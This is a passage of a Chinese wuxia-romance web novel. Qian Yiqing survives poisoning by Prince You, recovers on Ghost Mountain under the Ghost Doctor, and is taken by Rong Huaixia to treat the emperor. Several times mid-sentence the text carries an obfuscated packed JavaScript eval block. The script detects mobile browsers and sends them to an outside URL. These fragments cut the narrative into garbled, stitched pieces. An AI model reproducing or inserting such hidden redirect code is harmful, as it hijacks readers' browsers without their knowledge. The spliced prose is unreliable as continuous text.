“从小我就知道容烨会是太子,所以我也从来没有打过龙椅的主意,依斐选他......我不怪她。”他嘴角溢出一丝自嘲,又说,“容瑾是我们几个兄弟中相貌生得最好的,他有地位有才华,有权势又有谋略,可惜眼光不太好,挑了个不谙世事的小丫头!” 千裔清听着,不明白为什么佑王要和他说这些。 “他们都是人中龙凤,我争不过他们,也不会拿自己和他们比较。可我就奇了怪了,容怀瑕那小子有什么好?你居然为了他拒绝我?” 他的话还没说完,情绪越来越激动,腾的一下起身:“我是佑王!我是父皇最喜欢的儿子!凭什么他们什么都有了,而我却什么都没有?”佑王一拍桌子,逼近她恶狠狠道,“你说!是我不配吗!” 千裔清悄悄把身子后移了一些,语气平静道:“您是佑王,配得上世间的一切。” “你少哄我!”他陡然笑了,撤回身子把手一扬,“知道我为什么找你来吗?” “不知道,但一定不是为了让我听你说这些。” 佑王咧着嘴,歪头道:“你也不算蠢,这些话可不是寻常人能听的。” 没错,这些话把当朝权贵几乎骂了个遍,寻常人听到了难免会泄露出去,这是大忌讳。 “嗯,可是我听了。” “嗯,可是你听了。”佑王挺直了身子,把手背过身后居高 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14899856|160082||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 临下地看着她,“所以——你得死!” 听到这话,千裔清冷然一笑,默然。 她早该料到的,这位佑王的确不屑于强迫别人,但他还有致命的一点,那就是...... 得不到,就杀掉! 见到她一脸的镇静,佑王惊讶了片刻:“你不怕死?” 千裔清叹道:“怕死,所以如果我现在愿意跟您,能不能饶我不死?” 佑王坦然地一笑,眼中闪过一丝狰狞:“若那日你说这话自然可以,不过现在......晚了!” - “哑——哑——” 全身黑羽的乌鸦落在枝头东张西望,突然丛中出现了野兽埋伏的动静,窸窸窣窣,吓得它扑棱着翅膀两下飞得远远的。 丛中的花蛇正眈眈吐着信子,瞄准了新的猎物。 那是个长相极为好看的女子,只是腿上身上全是血迹,脸上额上还有些剐蹭,看起来像是被丢进山里滚落后受的伤。 千裔清艰难的动了动手指,挣扎着翻了个身,然而膝盖以下早没有知觉了,方才那一阵摔的不轻,即便她没有被喂了毒,估计也是活不成了。 不过是早些或者晚些的区别。 “嘶——” 她看向身旁不过一臂距离吐着信子的花蛇,惨然一笑:“还等什么?我已是废人一个,还怕我咬回去不成?” 那花花绿绿的蛇像是听懂了她的话一般,三角的脑袋向后一缩,做出了即将扑上的动作。 一只袖箭咻的飞过,准确的扎进这条蛇的七寸,并将它死死钉进一边的石板。它刺的很深,长蛇挣扎了几次都没能挣脱分毫。 “师傅,是位姑娘!” 少年的声音紧接着传来,一身湛蓝的长衫几步来到面前,先是利落的取出蛇胆装进锦袋,然后才看向千裔清。他的五官端庄英气,约莫十七八岁,不过脸上的表情及举手投足皆十分稳重,有种少年老成的感觉。 少年很是礼貌,半跪着伸出一只手询问她意见:“我扶你起来?” 千裔清趴在地上,狼狈地盯着他的手看了片刻,苦笑着摇头:“我的腿好像断了。” 闻言,他微微蹙眉,转头向着身后:“师傅,这位姑娘腿断了,要不要带回去?” “咱们家什么时候成医馆了?”丛林深处一道修长的人影缓缓而出,月白色的长袍在漆黑的夜色中格外显眼。 更为惹眼的是他的长相,俊美非常,肤色又比寻常人白皙许多,像是从未经过风吹疾苦的画中仙人,比之璟王也不遑多让。 “喻门主?”千裔清一怔,没想到时隔两年,竟是又见到他了。 喻景淮诧异:“你认识我?”随后他背着手弯腰,盯着她脸左右看看,恍然记起,“哦,是你啊!” “师傅认识?” 月白长袍的男人点点头:“算是帮过我。” 少年恭敬地询问:“那......要不要救?” 没等他答,千裔清却是先垂眸拒绝:“不用了,我身中剧毒,你们救不了我。” 21. 鬼山 那少年讶然,抬手扼住她腕子搭上脉,片刻后,他面带一丝凝重,侧过头对喻景淮说道:“师傅,好像没救了。” 喻景淮神色讶异:“你中了什么毒?” 她回忆着在佑王府听到的几个字。 “浮心引。” “原来如此,你得罪了皇族的人。”喻景淮立刻明白了其中曲折,他惋惜道,“那就没办法了,这浮心引我虽然知道解法,却是没有皇家宝库中那一味药材。子源,要不你找个好地儿给她埋了吧!” “啊?”被叫做子源的少年一愣,似是在确认喻景淮是在说真的还是在开玩笑。他沉吟,犹豫着开口,“师傅,这秀羽山隔壁不就是鬼山么?要不......” “你想救她?”喻景淮一挑眉,“我只杀人,不救人——不过她也算帮过我,救她一次也行。” “她腿断了,你背着她上山吧。”说完,喻景淮从袖中捏出两颗褐色的药丸扔给他,“你尽快吧,别让她半路死了。” “是,师傅。”他接过药,顺手咬下一颗,接着把另一颗塞进千裔清口中,一抬她下巴让她咽了下去。 - “你叫什么名字?” 隔着粗布长衫,少年宽阔的后背和结实的臂膀隐隐传来温暖的触感,这一路上他的长剑出鞘过不少次,山中猛兽毒虫皆是一剑毙命。 她知道喻景淮是江湖大派的一门之主,那他的弟子自然也不会差。 “我叫谢子源。”他一面背着她,一面耐心回答她的问题,竟是连一声粗气都不喘。 “谢子源......”她喃喃的念了一遍,五脏六腑的阻塞之感已经渐渐显现,让她说话力气也开始不稳。但她还是尽量放平声音对他说道,“若有机会,我再报答你......” 谢子源脚步一顿,咬牙又加快了原本就不慢的速度:“方才给你吃了避毒丹,虽是为应付这山中瘴气,对你体内的毒应该也有些抑制作用。你别担心,我一定将你活着送到鬼医面前!” 一路上,谢子源除了应付山中毒蛇,又把鬼山的来历向她从头到尾讲述了一番,也正是因为他一直在和她搭话,千裔清这才坚持着没有昏沉睡过去。 鬼山之所以被称为鬼山,原不是因为这山上闹鬼,是因为满山皆是有毒的瘴气,以及十分罕见甚至从未见过的变异毒虫野兽,再者上山之路十分崎岖,多的是死在路上的武功高强之人。 因此,想要成功上山,若非武功拔尖,就一定需要另一样东西——避毒丹。 这避毒丹便是出自山上住着的鬼医之手,也是这山被叫做鬼山的另一个原因。 相传鬼医从不下山,在山顶居住了近二十年,仍是在江湖各派中颇负盛名。传闻他可医得好世间万种毒,治得好世间所有病症,哪怕是将死之人也能拉回人世。 他自己就是个活生生的例子。 这些事千裔清自然是没听说过的,但谢子源和喻景淮皆出自重云门,对江湖上的一干情报最是了解,可以说是江湖第一情报门派。 越往上走,瘴气的颜色便越深,绿色的浓雾逐渐开始发黑。 谢子源提醒:“快到了。” 他呼吸还算平稳,额间颈后的汗水却暴露了他已经非常吃力的事实。 千裔清很想帮他擦一擦额角的汗,却是发觉连抬起手的力气都没有了。 她的声音微弱到几乎连自己也听不清,好像是“嗯”了一声回应他的话。接着她眼前一黑,再也听不进任何声音了。 - 整座鬼山都是青烟袅绕,灰雾蒙蒙,未有山顶宛若庄园一般的机动竹屋草屋还算鬼域乐园。 山顶上熏了异香,正是鬼医官朗州所研制来解毒瘴侵扰的。 木屋之中陈设简单,只有一张桌子,一张床榻,还有一个柜子,角落放着一只竹架,上面摆满了各种草药。 这是千裔清半年以来居住的地方。 那日昏迷,再次醒来已是两月之后,当时她体内的毒已经侵入五脏六腑,算的上是半个死人了,偏偏谢子源真的把她带上山了,非但如此,还见到了传说中的鬼医官朗州。 鬼医解了她的毒,醒来之后,谢子源早已不见。 但她的腿还未好全,于是又在山上继续修养着,这一待就是一年多。 山上并没有那么多的草药供他们研制,这些东西都是不日上山求医的人带来的——也是鬼医的规矩。 晾好的草药被收进药柜,官朗州背着竹篓从山坡慢慢爬了上来。 他的身形瘦弱不堪,似乎被风随意一吹便要倒下,千裔清第一次见到他的时候也怀疑这人是不是只有骨头和皮,并没有血肉。 他的头发也是花白的,但却梳的整齐,看起来是个很注重脸面的外表的人,大概是因为他原也是个长相不错的男子,已过四十岁的五官皆属清秀,除了脸颊过于消瘦和显着疲惫以外。 他是官朗州,也是她的师傅。 官朗州把装了半截儿的药筐放在一旁,千裔清熟练地接过,整理分类,晾在屋外的架子上,又把驱瘴的药点好。 “师傅,那些求医者送的药还不够您用吗?整日从这山上采的都是毒草,哪能救人啊?” 官朗州一开口,声音也是喑哑的,像是坏了,听起来有点刺耳:“够用是够用,不过却没用。” 千裔清手上动作一滞,叹了一声:“您还没放弃啊?” 他一直想下山去,但他的身子却让他无法下山。 旁人不知道,千裔清却是清楚的。 二十多年前他身中奇毒,因原就武功不差,濒死之时到了这山上,又因本就是坊间名医,凭着自己的一身药理医术以毒治毒,尝遍了山上各种毒草。 谁都没想到,他却是活下来了! 代价就是无法离开这座山,他也曾尝试过下山,然而没有山中的毒瘴养着,没有日日的毒草喂着,他便无法支撑下去。 因此他在这山上待了二十年,除了救治上山的人以外便是研制彻底解他身上毒的药。 千裔清身上这毒也是用这法子治好的,但她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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千裔清也是想起时隔一年多再次见到喻景淮的场景。 那日他背着一个奄奄一息的女子急匆匆赶来,脸上是从未见过的焦急之色,千裔清从来没想过,这样一个从容于世事的男人也会为了一个姑娘如此紧张。 那个姑娘她也是见过的,叫云染。从前刚及笄的小丫头如今也是出落成了一个大姑娘,可惜遭了灭门之灾,若无喻景淮,恐怕也是难逃一死。 “喻门主近日倒是常常来找您呢。”不过却是总待不久便又离开了。 她好奇道:“你们在做什么交易?” 握着蒲扇的手陡然一顿,官朗州松垮的皮相轻轻一颤,看向她:“为什么这么问?” “感觉吧......”她想了想,“我猜对了?” 官朗州叹了口气:“小丫头还挺聪明——是,喻景淮有她的下落,只要我治好云染,他就肯告诉我。” 她知道官朗州说的是谁,是传闻中当世第一的人偶师。 方幼渺。 也是他毕生的挚爱,想见却见不到的人。 22. 烧山 是了,即便官朗州能下山,却也不清楚她的下落,如何去找? 这话题有些沉重了,一时间,千裔清不知道该劝慰还是说些别的什么。她干脆不再说话。 筐里的草药已被尽数整理好,今日站的久了,膝盖确实又有点儿疼。 这也是拜佑王所赐,她的腿再也无法和常人一样游山玩水,甚至不能久站,更别提做什么重活儿了。 这么一身旧疾的废人,即便佑王肯放过她了,她也没什么生存的本事,谁又会养一个肩不能抗手不能提,连站都不能站的废物? 山上的日子虽然无趣,但千裔清早就习惯,时间就这么一天天过去。 远远看向隔壁的秀羽山,跨过那座山,就是她原来的家,再往前就是那座皇城。 秀羽山上似乎有雪色,她猜测,现在应该是冬天了。 这里倒真像是个世外桃源。不,世外鬼域。 直到那座山上的雪色褪去,又恢复成了一片青绿,她猜测,应是春天又到了。 - 距离到鬼山差不多两年。 官朗州的侄女林霖许久都没再出现。那女孩子的眼神总是看起来颇为阴毒,千裔清也不想与她多接触,每次林霖上山,她都有意避着。 这天,应是白日。 从山腰背阴面替师傅采了草药。 一是师傅身子本就不大好,二是她觉得天气暖了,她不能总是窝在房里,也该做些“康复活动”。 然而一边歇着一边上山,爬上来还是不早了。 轻唤两声,官朗州并没答她。千裔清放下竹篓朝里头几间屋子走去。 平日里没有病人时,里头的几间房子都是敞开门窗,今日却见那间房门窗皆是紧闭。 又有求医者上山了? 那她是得去帮帮师傅才行,他那老胳膊老腿的......今日是越发手不稳了。 正想着,一手搭上房门,轻轻一推便推开了。 一身娇粉衫裙的女子坐在床边,见她进门突然一愣,一旁的喻景淮和师傅也正齐齐看向她。 她的手还未放下,手指却生生顿住,面色有些尴尬。 而云染正愣愣的看着她,眼睛一眨不眨的。 官朗州见状轻咳一声:“回神。” “啊?哦——”云染转过头。 千裔清这才想起喻景淮一直想要治好云染的失忆之症,这么说他们今日是来治病的。 那方幼渺的下落...... 千裔清垂下眼帘,低声道:“官先生,那我一会儿再来。” 官朗州点点头,示意她先出去。 - 千裔清把草药规整好,又把治病用得着的先碾碎压好了,以便待会儿云染醒来时能及时用药。 架子上的石锅咕嘟咕嘟滚着,她心思很乱,有一下没一下地扇着。 “这药是给我煎的吗?” 清丽的嗓音蓦的发出一句疑问,千裔清一抬头,就见云染笑盈盈的看着她,这笑容恍若那年十五岁的女孩子,先一刻还在嚎啕大哭,后一刻又这么笑了。 千裔清也对她笑了笑:“是,再过一盏茶的功夫就可以喝了。” 云染看向身边的喻景淮:“你带蜜饯了吗?” 喻景淮弯着眼梢在她发顶轻按,满眼宠溺:“带了。” 云染这才转过脸,甜甜一笑:“那,谢谢姐姐。” 这话,这场景好熟悉。 千裔清突然意识到已经结束治疗:“你记起我了?” “嗯!都记起来了!”云染回头指了指先前那间屋子说道,“官先生累了,说要休息一会儿。” 千裔清点头,继续有一些没一下的照看面前的汤药锅。 喻景淮沉默了一会儿,突然看着千裔清道:“你有没有想过要下山?” 千裔清茫然,又摇摇头:“没有。” “为什么啊?”云染问道,“山下比这里要好呢。” “有什么好的?”千裔清冷笑,挑起眉看向云染,“你在山下这么多年,还不是被杀了全家留你一人?” 她其实是未经思考下意识的反驳,待话一出,她立刻意识到自己失言,又见喻景淮面色不善,她眼睑微垂:“抱歉,我不是那个意思。” 她只是代入了自己好不容易捡回一条命的经历。突然发现,她们两个的遭遇还有些相似。 云染神色一僵,不在意地扯了扯嘴角:“没关系啊,反正我还活着,而且——”她歪头看了喻景淮一眼,笑道,“现在有人保护我啦!” 保护...... 千裔清心中倏的一紧,一种莫名的异样情绪袭来,像是许久之前的旧事正在她心头撕开一个口子,努力的向外挤,拼命的向外挤。 她不由得皱紧眉头,按着突突直跳的额角。 好一会儿,她整理好表情看着云染:“那恭喜你。好了,药可以喝了。” 云染捧着药碗正在给自己做心理建设,手指在鼻尖上作势捏了好几下都没喝一口。 也是,这药比不得寻常大夫开的,味道苦得紧,喝吐之人也不乏其数。 然而她却是喝了足有三个月。 想到这儿,她不禁自嘲地一笑,儿时那个怕苦到会把药偷偷倒了的小女孩儿,如今也是变成了药罐子一样的存在。 “你的命是我救的。”喻景淮抱着手臂看她,突然没头没尾地说了一句。 千裔清纠正他:“是谢子源救的。” “都一样。”他随意笑了,“他是我徒弟,他救你等于我救你。” 千裔清懒得和他在这种事上争辩:“谢子源呢?” 自打送她上了山,她却再也没见过他。 还说要报答他来着。 “去帮我做事了,怎么,你看上他了?” 千裔清淡淡扫了他一眼:“没有。” “那就好。” 这话让她有点不舒服:“怎么?被我看上是很倒霉的事吗?” 喻景淮似笑非笑:“那倒不是,千姑娘这么优秀,喜欢你的人一定很多,我那小徒弟怕是争不过人家。” 千裔清不懂他这话什么意思,只当他是在揶揄自己。 云染塞了满嘴的梅子,好不容易压下了那股想吐的感觉。 这会儿她觉得好多了,便上前:“景淮哥哥,子源师兄也很优秀啊,他可是咱们重云门最优秀的大弟子,谁比得上他啊?” 喻景淮揽过她勾了勾唇角, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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镇子不大,她打扮的朴素,面上遮着纱,头上只简单挽了发髻,一根银簪作饰而已。 千裔清仔细想了想自己师傅的身形样貌—— 太瘦了,不能穿太宽大的袍子,不好看。 身高倒还算上等,长衫好像不错。 五官端正,可惜年纪大了,脸色也不好看,不能穿暖色,看起来像要入土似的。 ...... 认认真真为他选好了衣裳,正值夏季,想着他会换的勤些,又便多转了几间铺子,也多准备了几套换洗的。 这么逛完,时间也是接近黄昏,夏日虽然昼长夜短,五月初还是有些温差。 既然如此,那就早去早回吧。 秀羽山不算大,山下还有许多窄道,即便多绕行几次也费不了多少脚程。 然而越走,千裔清却是觉得眼前越是昏黄。 前头是...... 鬼山在着火? 23. 重逢 鬼山在着火! 昔日笼着青绿雾瘴的山头如今是明晃晃的,那些浓雾正在渐渐散去,取而代之的是明火浓烟。 那师傅呢? 千裔清急忙向山脚追去,却被山下一人蓦的拦下。 “哎——姑娘这是要去鬼山?” “让开!”她眉头一紧,正要推开这人。 壮年男子背着筐柴,像是刚从秀羽山下来的砍柴农夫。 他仍是伸手拦住她去路:“姑娘是不是姓千?” 面纱之下的俏脸顿时一冷,她防备地盯着对方:“你是什么人?” “姑娘别误会!是山上下来的官先生托我转达您几句话!” 官先生?是师傅? 千裔清一怔,“什么话?” “他说总这么藏着不是办法,劝你也去看看外头的世界,人总是要死的,他现在不怕了,希望你也能不怕。” 听了这话,千裔清陡然转头,再看向那座熊熊燃烧着大火的鬼山满是震惊和不可置信。 她顿时明白了,这把火是她的师傅放的! 师傅为了让她下山,竟是借口支开她,连她的退路都生生给断了,他要让她无法再回去! 可是师傅,您躲了半辈子才想通的事,凭什么要求她听您一句话就想通呢? - “听说了吗?鬼山被烧了!” “瞧见啦!哎哟哟——那火烧的,连几百年的毒瘴都烧没啦!” “是啊,现在那山也就是个普通的山头......哎你说,那鬼医还活着没?” “当然活着了,听说有人见他下山了!” ...... 千裔清默然听着,她被迫在镇上已经躲了两日,听闻鬼山的大火烧了整整两日,如今也终于熄了。 再踏入鬼山入口,她不由得捂住口鼻。 被火烧之后的山头溢着难闻的烧焦和腐臭,除了被烧毁的山林木头,还有平日里藏在林间的野兽尸身,毒物的尸油气息有多难闻可以想象。 变得普通的山不再配的上“鬼山”之名,上山的路也不再坎坷,再也用不着一日半日那么久。 到达山顶,千裔清却是发现山顶的庄园还算是完好,那火势是从山脚起,但山顶周边有师傅还未拆下的防火山石,火虽然也烧了上来,但并没有把所有房屋烧成一摊废墟,中心几间还是安稳立着。 难道他也有不舍吗? 亦或是担心她实在再无出路,给她留了一丝余地? 她猜不到。 将所剩无几的房子收拾到能住人费了她不少时间和力气,做完这些,她只觉得全身都是酸疼的,这实在超出她平日的劳动量。 是夜,上天像是对她的遭遇有所感应一样,刚入夜就下起了小雨。 而后这雨越下越大,从一滴、两滴转为大雨,哗啦哗啦的下个不停。雨中的空气不再那么难闻,带了几丝天然的味道。 夏雨最是热烈,这声音美妙又治愈,竟是哄着她一夜无梦的安然入睡了。 千裔清早已不是相府中侍奉主子的卑贱奴仆,加之身上的旧疾和治不好的病根儿,她日日都是晚起早睡。一天十二个时辰,她恨不得睡上七八个时辰,仍是总觉乏的很。 这嗜睡畏寒的毛病让她整个人比往常看起来更懒散。 因此她是被外头的声音吵醒的。 千裔清睁开眼,简单的梳洗完毕,这才发觉自己昨夜竟是累到合衣而睡。 然而门外的声音似是越来越清晰了。阵阵马蹄声,嘈杂的人声越来越近,听起来倒像是训练有素的军队。 鬼山上怎么会有军队过来? 千裔清想着打开门一探究竟。这一推门不要紧,只见数十个身穿铠甲的士兵骑在马上,将这间小屋围了个水泄不通。 这还只是眼前的,后方还有多少兵马她不清楚。 她只是想着,让马爬山也挺难的,想必不是普通的兵马。 为首的中年男子像是队伍首领,他翻身下马,朝千裔清拱手,语气颇为恭敬:“敢问姑娘可是官先生的弟子?” 鬼医收了个新弟子这事并没有多少人知道,尤其是这些人,看衣着和训练有素的样子,估计和朝堂脱不了干系。 朝廷并非江湖,对鬼医之事更不甚了解,又怎么会知道官朗州收了个弟子? 千裔清避而不答,而是问道:“如果尊驾上山是为了鬼医,那么请回吧,鬼医已经离山了,我也不清楚他的下落。” 对方一顿,又说道:“末将是来请姑娘......不,请神医进京救治的。” “救治?” “是,圣上身缠重疾,宫中御医皆是束手无策,听高人说鬼山上有一神医是大名鼎鼎的官先生的徒弟,我等是特意请神医进宫的。” “请?”千裔清扫了一眼周围的兵马,嘴角噙着一丝冷笑,对他的措辞颇为不屑。 不过......容烨病了?是什么重病能让宫中太医都束手无策? “皇上染了什么重疾?有什么症状?” “这个......末将只是奉命前来请神医,别的一概不知。” 千裔清觉得不妥,只得先推诿:“宫中那么多的名医圣手都束手无策,我一乡野女子......恐怕爱莫能助。” 这首领闻言脸色一变,硬着头皮继续:“喻门主与皇上乃是好友,还请姑娘也给喻门主一个面子,跟我们回去!” 首领开口,众将士也提了武器,像是随时准备强行把她绑去。 千裔清猛然想起喻景淮那天没头没尾的话,感情是他把自己给卖了,还要打着让她还人情的旗号! 她垂眼想了想,问道:“如今当朝天子可是......容烨?” “神医切莫再言!”首领闻言大惊,腿上狠狠抖了一抖,神色忌惮地转头看了一圈,小声道,“这可是掉脑袋的大罪!” 她只是想确认一下罢了,山间待久了,也是忘了许多规矩。 于是她换了更显礼数的问法,委婉道:“大人莫要见怪,我只是这山上一粗野女子,不懂宫中规矩......敢问大人,新皇是否是原来的太子?现在国号为何?” “如今新皇登基,国号为上玄,上月末,皇都恕城也已改称为坤京。” 上玄为天坤为地,容烨倒是毫不掩饰自己的抱负。 天子开口,她自然是没权利拒绝的,给皇上治病,想来没人敢动她吧? 她看了看烧的稀疏的药草架子,无奈道:“我去就是了,不过还请容我准备几日,我还需要再寻些药材,如此才能多几分把握。” 见她答应,这任务算是完成了,首领松了口气。转念又想起此行的目的,他今日是势必要将千裔清带回去的,耽误不得。 因此他还是面带犹豫:“这......” “神医有什么需要尽管跟本王说便是,皇库里不缺药材。” 这道声音出现的突兀,深沉冷冽,如冬夜里深邃的湖水让人泛起寒意,但又不得不说,是好听的。 只是有些耳熟。 眼见着群马让出一条窄道。修长的腿搭在马背上,雪色的河曲慢悠悠地散步靠近。 马上之人一身墨色长袍,暗纹之上,银线勾勒着精致 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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陈将军悄悄抬眼,颤颤巍巍提醒:“神医,请踩着末将上马。” 陈将军一脸果决,似乎不觉得这是什么有伤尊严的事。 千裔清已经稳下了方才的震惊,她掀起眼皮看着他:“崇安王是吧?实在抱歉,我不会骑马,也不会拿活人当脚垫。” “哦?”他低头看着脚边的陈将军冷然一笑,“神医说不会拿活人当脚垫,只好委屈你先去死了。” 说话时,他语气平静到如同在谈论今天的天气如何,越是平静,越是让她惊骇。 陈将军更为惊骇,他猛一抬头,满脸央求:“神医!求您踩着末将上马!” 没办法,她只好扶着马脊踩上陈将军的背,艰难上马。 她不知道容怀瑕为什么变得如此极端,如此陌生。 刚扶着马颈坐稳,容怀瑕一个翻身也跟着上来,随即一手越过她腰间,把她揽进怀里,另一只手自然地扯上缰绳。 千裔清心口一滞,急忙扶着马背向前挪,然而还没没等她挪开半分,腰上的大手又加重了力道,直接把她扣在胸前。 肩头蓦的搁上他的下巴,容怀瑕在她耳边轻声威胁:“摔死还是抓紧我,你自己选。” 她选活着! 千裔清立刻扶上腰间橫着的手。 肩头身后传来轻笑,鼻间吞吐的气息拂过她耳廓,她能清晰地嗅到他身上的香味,还有那不知是自己的、还是透过后背传来的咚咚的心跳。 直到他一扯缰绳,轻喝了一声:“回城!” 四周的兵马皆是跟上,最终从好几列汇聚成两列,整整齐齐地一拥而上,跟在他的身后。 他像一个取胜归来,立下汗马功劳的大将军,得意、张狂。 像是捧着自己攻下城池得到的战利品一样放在身前炫耀,又把她圈的紧紧的、死死的,生怕她会逃掉。 24. 变化 夜南,上玄年间。 新皇登基半载有余,旧时的恕城也已更名为坤京,再踏足这里,千裔清觉得变化并不很大。 不过昔日初夏,她只是躲在相府做做杂事,偶尔陪着主子上街,遇到路过的王公贵族也只敢低着头用余光扫一眼。 若说变化最大,无非是她成了马上高坐被人驻足议论的角色。 千裔清低头看了一眼腰上依旧箍的很紧的手臂:“进了京,殿下可以松开些了吧?免得城中百姓误会传您的闲话。” 容怀瑕不为所动:“我倒是不知道夜南还有人敢传我的闲话。” 遐方慢悠悠地走,后方的军队也是慢悠悠地跟着。千裔清不免觉得疑虑,怎么这些人好像一点儿紧张的意思也没有,就连容烨的这位胞弟也是如此。 “......皇上到底生了什么病?宫中的御医就一点儿端倪也看不出?” 容怀瑕“嗯”了一声:“你去了不就知道了。” “要是我也治不好呢?”她很真诚的问。 他仍是淡然:“那就和那些废物一起给皇兄陪葬。” 千裔清:“......” 察觉到怀里的人微微一颤,他鼻间溢出一丝嘲笑,微微垂眼看着她的发顶:“你怕了?” 千裔清微不可闻地叹了口气,对他如今的模样感慨:“你变了。” 变成了她不认识的崇安王。 “你也是。”崇安王一声冷哼,“我倒不曾想,你消失了整整两年,却是拜入了那官朗州的门下。” 千裔清没说话,算是默然。 “不过你刚才的话说错了。”头顶上方的人轻笑了一声,突然把头偏过,贴近她的侧脸。 千裔清许久未和旁人如此亲昵的接触,下意识地躲了半分,然而容怀瑕却是立刻腾出一只手从颈后扣住她下巴。 “我没变,我对你——始终如初。” 温热的双唇贴上她的耳廓,每说一个字都要在她肌肤上厮磨几下。 千裔清很想离他远些,奈何力气比不过对方,只好任由他。 好在没耽搁太久,皇宫到了。 崇安王的人马领命,各自排兵回到军营地,遐方则被送去御马场暂管。 那匹雪色的河曲毛发更加光泽了,应是照顾的很好,可惜腿上有几处旧伤,她没看仔细,只觉得像是刀伤、枪伤之类的。 王爷的爱马,也会被人欺辱吗? 其实她更好奇,容怀瑕怎么会如此性情大变,又是谁与他封了王爷,她记得当年的九皇子应是最不得宠爱的。 这段时间的变数太多,自锁山上两年,竟是与外界全然隔绝了。 “在想什么?” 千裔清抬头,前边走着的人还是挺着宽广的脊背并未回头,自顾自的向前走,但方才的声音显然是出自他。 身边跟着的两个小太监只顾自己低头走着,当作什么都没听着。 千裔清看着他肩头,思绪远飘,随口念道:“容怀瑕......” “嗬——”两个小太监倒吸一口凉气,惊恐地抬头双双盯住她。 怎、怎么了? 是因为她直呼了王爷名讳? 那也不该如此反应吧,就算是挨罚,也是她个人的事。 再看向容怀瑕,他好像没什么反应,仍是在前头背着手踱步。 千裔清放缓了脚步,刻意和前头拉开两步距离,见容怀瑕似乎并没注意到她,忙侧过头小声问一旁的太监:“你们怎么了?” 小太监防备地盯着前边一身黑色的背影,歪着嘴小声提醒:“姑娘,您可千万别提那两个字!” “那两个字?你是说——” “嘘——”小太监连忙拦住她,又小心的朝前头看了一眼,“那两个字是先帝所赐,殿下不喜欢!” 太监松了口气继续道:“咱们皇上继位后已经下旨,崇安王还用回原来的字!您、您可千万别再提那旧名儿了,这在夜南可是大忌讳!” 千裔清似懂非懂地点点头。 原来的字...... 所以他现在叫——容潜? - 夜南,皇城,正珵殿。 值守的奴才通传,说皇上请他们进去。 崇安王随意“嗯”了一声,推门而入。千裔清跟着进门。 披上龙袍的容烨比两年前气质更胜,帝王之色溢于言表,仍是风采依旧,看起来精神不错。 就是他病了?这哪里像是生病的样子! 容烨正坐于椅上翻看折子,俨然是勤恳执政的模样,听到有人进来,他抬起头,顺势把手书放下,仍是那个熟悉的笑容。 “九弟回来了,坐吧——千姑娘,好久不见。” 再见旧人,太子已成一国之君,千裔清心中还是有些复杂:“听说皇上病了?” 容烨笑着点点头:“是啊,你觉着不像?” “不像。”她老实回答,“皇上有什么不适?可否容我先为您把个脉?” “不必。”容烨看了一旁自顾自抿茶的容怀瑕说道,“这茶里放有姜丝,九弟身上有伤,还是不要喝了吧。” 崇安王也受伤了? 哪里伤了?怎么也瞧不出来? “无妨。”他淡淡道,但见千裔清打量的目光,放下茶盏,“怎么,想看我的伤口?” 千裔清把目光收回,重新落在容烨身上:“皇上即说不必,为何还要把我叫来?” “我把你叫来,自是因为你是官朗州的弟子。”容烨正色道,“人偶师擅造傀儡和面具,出自她手的皆为真人肌肤一般,只可惜那假面戴上就如同融于皮肉一样摘不下来,除她本外,据说只有鬼医知道解法——这些可是真的?” 官朗州的确知道如何溶解那些材料,他的侄女林霖也是知道解法的,至于她...... “师傅没有教过我,调制的药方我也仅仅扫过两眼,记不大清了。” 容烨自动屏蔽了她的头尾两句:“所以那药方你知道?那就好——你慢慢试验,朕可以等。” 皇命不可违,她只好先答应下,只是这么试下去不知要多久。她忍不住好奇:“您要这个做什么?难道您身边有......” “这你就不用管了,做好你自己的事便可。”容烨顿了顿,“九弟的伤是在战场上留下的,还未痊愈,你随他一道回府诊治吧。” 千裔清不大愿意,委婉道:“只是外伤而已,皇宫王府不是也有御医吗?” 容烨摆摆手:“这是命令,治不好提头来见。”说完,他把搁下的手 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浸血的纱布在解下时还微微黏在绽开的皮肉上,她手指上的动作一顿,抬眼看向坐着的人,似乎没觉得疼,甚至疑惑地回应她的眼神。 千裔清继续,随口问道:“什么时候伤的?” “七日前,攻打十方时被人偷袭。” 千裔清一怔:“十方也归属夜南了?” “嗯。” 容烨的动作倒是快,之前还是太子时,他多次请奏未果,没想到自己坐上这位置,第一个吞肚果腹的就是十方国。 崇安王......那位守在绥夏边关的容骁好像是被封为武安王来着。 这些常上战场的王侯将士,封号多爱选“安、定、平”之类的字眼,她稍一联想就明白这些年他是如何度过的。 “看这伤口似是剑伤......我记得战场之上多用长枪宽刀,怎么会有人使剑?” 容潜反问:“我若知晓敌军心思还会被偷袭?” ......好像也有道理。 她不再过多纠结:“按常理来说,七日足以让伤口结痂,不过你这伤不知为何恢复的如此慢,像是新伤一样,你之前受伤也是如此吗?” “我不常受伤。” 千裔清回来路上便听小太监说了武安王的事迹。 先帝还在位时,素日谦逊默默无闻的九皇子突然性情大变,变得锋芒毕现崭露头角,跟着武安王一起,可谓战无不胜,谋略武力皆远超武安王。永光帝大喜,当即封他为崇安王。 